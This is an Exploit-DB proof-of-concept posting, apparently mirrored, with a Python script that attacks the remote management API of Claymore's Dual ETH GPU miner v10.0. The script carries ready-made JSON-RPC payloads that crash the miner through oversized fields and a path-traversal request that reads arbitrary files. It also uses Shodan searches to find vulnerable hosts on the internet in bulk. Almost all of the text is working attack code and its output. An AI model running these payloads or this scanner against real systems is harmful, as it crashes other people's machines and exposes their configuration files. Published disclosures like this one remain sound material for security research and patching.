Claymore Dual ETH + DCR/SC/LBC/PASC GPU Miner – Stack Buffer Overflow / Path Traversal

  • 作者: tintinweb
    日期: 2017-12-07
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/43231/
  • #!/usr/bin/env python
    # -*- coding: UTF-8 -*-
    # github.com/tintinweb
    #
    #
    # optional: pip install pysocks (https://pypi.python.org/pypi/PySocks)
    #
    #
    '''
    
    API overview:
    # >nc -L -p 3333
    {"id":0,"jsonrpc":"2.0","method":"miner_getstat1"}
    {"id":0,"jsonrpc":"2.0","method":"miner_file","params":["epools.txt","<encoded>"]}
    {"id":0,"jsonrpc":"2.0","method":"miner_getfile","params":["config.txt"]}
    {"id":0,"jsonrpc":"2.0","method":"miner_restart"}
    {"id":0,"jsonrpc":"2.0","method":"miner_reboot"}
    {"id":0,"jsonrpc":"2.0","method":"control_gpu","params":["0", "1"]}
    {"id":0,"jsonrpc":"2.0","method":"control_gpu","params":["-1", "0"]}
    {"id":0,"jsonrpc":"2.0","method":"control_gpu","params":["0", "2"]}
    {"id":0,"jsonrpc":"2.0","method":"miner_file","params":["config.txt","<encoded>"]}
    {"id":0,"jsonrpc":"2.0","method":"miner_file","params":["dpools.txt","<encoded>"]}
    
    
    Exec:
    #> EthDcrMiner64.exe -epool http://192.168.0.1:8545 -mport -3333
    
    ╔════════════════════════════════════════════════════════════════╗
    ║ Claymore's Dual ETH + DCR/SC/LBC/PASC GPU Miner v10.0║
    ╚════════════════════════════════════════════════════════════════╝
    
    ...
    Total cards: 1
    ETH - connecting to 192.168.0.1:8545
    DUAL MINING MODE ENABLED: ETHEREUM+DECRED
     DCR: Stratum - connecting to 'pasc-eu2.nanopool.org' <213.32.29.168> port 15555
    ETH: HTTP SOLO mode
    Ethereum HTTP requests time (-etht) is set to 200 ms
    Watchdog enabled
    Remote management (READ-ONLY MODE) is enabled on port 3333
    
     DCR: Stratum - Connected (pasc-eu2.nanopool.org:15555)
     DCR: Authorized
     DCR: 11/22/17-22:05:12 - New job from pasc-eu2.nanopool.org:15555
    
    ... <run poc.py --vector=method <target>>
    
    GPU0 t=57C fan=0%
    Remote management: unknown command miner_getstat1 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    .... <crash>
    
    
    PoC:
    #> poc.py 127.0.0.1:3333
    [poc.py - <module>() ][INFO] --start--
    [poc.py - <module>() ][INFO] # Claymore's Dual ETH + DCR/SC/LBC/PASC GPU Miner - Remote Buffer Overwrite
    [poc.py - <module>() ][INFO] # github.com/tintinweb
    [poc.py - iter_targets() ][ WARNING] shodan apikey missing! shodan support disabled.
    [poc.py - <module>() ][INFO] [i] Target: 127.0.0.1:3333
    [poc.py - <module>() ][INFO] [+] connected.
    [poc.py - <module>() ][INFO] [+] peer disappeared. vulnerable!
    [poc.py - <module>() ][ WARNING] error(10054, 'Eine vorhandene Verbindung wurde vom Remotehost geschlossen')
    [poc.py - <module>() ][INFO] --done--
    
    
    '''
    
    import logging
    import json
    import time
    import argparse
    import socket
    try:
    import socks
    except ImportError:
    print "!! cannot import socks. no socks support!"
    socks = None
    try:
    import shodan
    except ImportError:
    print "!! cannot import shodan. no shodan support!"
    shodan = None
    
    LOGGER = logging.getLogger(__name__)
    
    class MinerRpc(object):
    """
    Generic MinerRpc class with socks support
    """
    
    def __init__(self):
    self.sock = None
    
    def connect(self, host, port, proxy=None, timeout=15):
    if socks:
    self.sock = socks.socksocket()
    else:
    self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    self.sock.settimeout(timeout)
    if proxy:
    if not socks:
    raise Exception("socks support disabled due to unmet dependency. please install pysocks")
    self.sock.set_proxy(*proxy)
    return self.sock.connect((host, port))
    
    def sendRcv(self, msg, chunksize=4096):
    self.sock.sendall(msg)
    chunks = []
    chunk = None
    #time.sleep(2)
    while chunk is None or len(chunk)==chunksize:
    chunk = self.sock.recv(chunksize)
    chunks.append(chunk)
    return "".join(chunks)
    
    def sendRcvTimed(self, msg, chunksize=1):
    self.sock.sendall(msg)
    start = time.time()
    resp = self.sock.recv(chunksize)
    diff = time.time()-start
    return diff, resp
    
    
    class Utils:
    """
    Utility namespace
    """
    
    @staticmethod
    def iter_targets(targets, shodan_apikey):
    shodan_api = None
    if not shodan:
    LOGGER.warning(
    "[i] starting without shodan support. please pip install shodan to use shodan search strings.")
    else:
    if not shodan_apikey:
    LOGGER.warning("shodan apikey missing! shodan support disabled.")
    else:
    shodan_api = shodan.Shodan(shodan_apikey)
    
    for target in targets:
    if target.startswith("shodan://"):
    target = target.replace("shodan://", "")
    if shodan_api:
    for t in shodan_api.search(target)['matches']:
    yield t['ip_str'], t['port']
    else:
    host,port = target.strip().split(":")
    yield host,int(port)
    
    
    VECTORS = {
    # Vector: extrafield
    # Description: overly long value for field. overly long overall msg
    # Result: crashes always, even though
    # * password required
    # * readonly mode (-<port>)
    "extrafield" : {"id": 1,
     "jsonrpc": "2.0",
     "lol": "a" * 145000,##<<--
     "method": "miner_getstat1 ", },
    # Vector: psw (basically same as extrafield)
    # Description: overly long value for psw. overly long overall msg
    # Result: crashes always, even though
    # * password required
    # * readonly mode (-<port>)
    "psw" : { "id": 1,
    "psw":"d"*145000,##<<--
    "jsonrpc": "2.0",
    "method": "miner_getstat1", },
    # Vector: method
    # Description: overly long value for field. overly long overall msg
    # Result: crashes always, even though
    # * readonly mode (-<port>)
    "method" : {"id": 1,
     "jsonrpc": "2.0",
     "method": "miner_getstat1 " + "a" * (16384 - 50 - 15 - 5), },##<<--
    # Vector: traversal
    # Description: path traversal
    # Result: retrieves any file
    "traversal": {"id":0,
     "jsonrpc":"2.0",
     "method":"miner_getfile",
     "params":["../Claymore.s.Dual.Ethereum.Decred_Siacoin_Lbry_Pascal.AMD.NVIDIA.GPU.Miner.v10.0/config.txt"]}, ##<<-- adjust path
    
    
    }
    
    if __name__ == "__main__":
    logging.basicConfig(format='[%(filename)s - %(funcName)20s() ][%(levelname)8s] %(message)s',
    loglevel=logging.DEBUG)
    LOGGER.setLevel(logging.DEBUG)
    
    usage = """poc.py [options]
    
    example: poc.py [options] <target> [<target>, ...]
    
    options:
     apikey ... optional shodan apikey
     vector ... method ... overflow in method, requires password if set [readonly]
    extrafield... overflow in non-standard field [readonly, passwd mode]
    psw ... overflow in password
    traversal ... relative path traversal [authenticated]
    
    target ... IP, FQDN or shodan://<search string>
    
     #> poc.py 1.1.1.1
     #> poc.py 1.2.3.4 "shodan://product:eth+result"
     """
    
    parser = argparse.ArgumentParser(usage=usage)
    parser.add_argument("-a", "--apikey",
    dest="apikey", default=None,
    help="shodan.io apikey, NotSet=disabled [default: None]")
    parser.add_argument("-m", "--vector",
    dest="vector", default="method",
    help="vulnerablevectors [default: method]")
    parser.add_argument("targets", nargs="+")
    
    options = parser.parse_args()
    LOGGER.info("--start--")
    LOGGER.info("# Claymore's Dual ETH + DCR/SC/LBC/PASC GPU Miner - Remote Buffer Overwrite")
    LOGGER.info("# github.com/tintinweb")
    m = MinerRpc()
    
    for ip, port in Utils.iter_targets(options.targets, options.apikey):
    LOGGER.info("[i] Target: %s:%s"%(ip, port))
    
    try:
    m.connect(ip, port, timeout=20)
    LOGGER.info("[+] connected.")
    
    resp = m.sendRcv(json.dumps(VECTORS[options.vector]))# crash with readonly mode
    
    LOGGER.debug("<-- %d %r"%(len(resp), resp))
    if not len(resp):
    LOGGER.info("[+] did not receive a response. probably vulnerable.")
    except socket.error, e:
    if e[0]==10054:
    LOGGER.info("[+] peer disappeared. vulnerable!")
    LOGGER.warning(repr(e))
    
    LOGGER.info("--done--")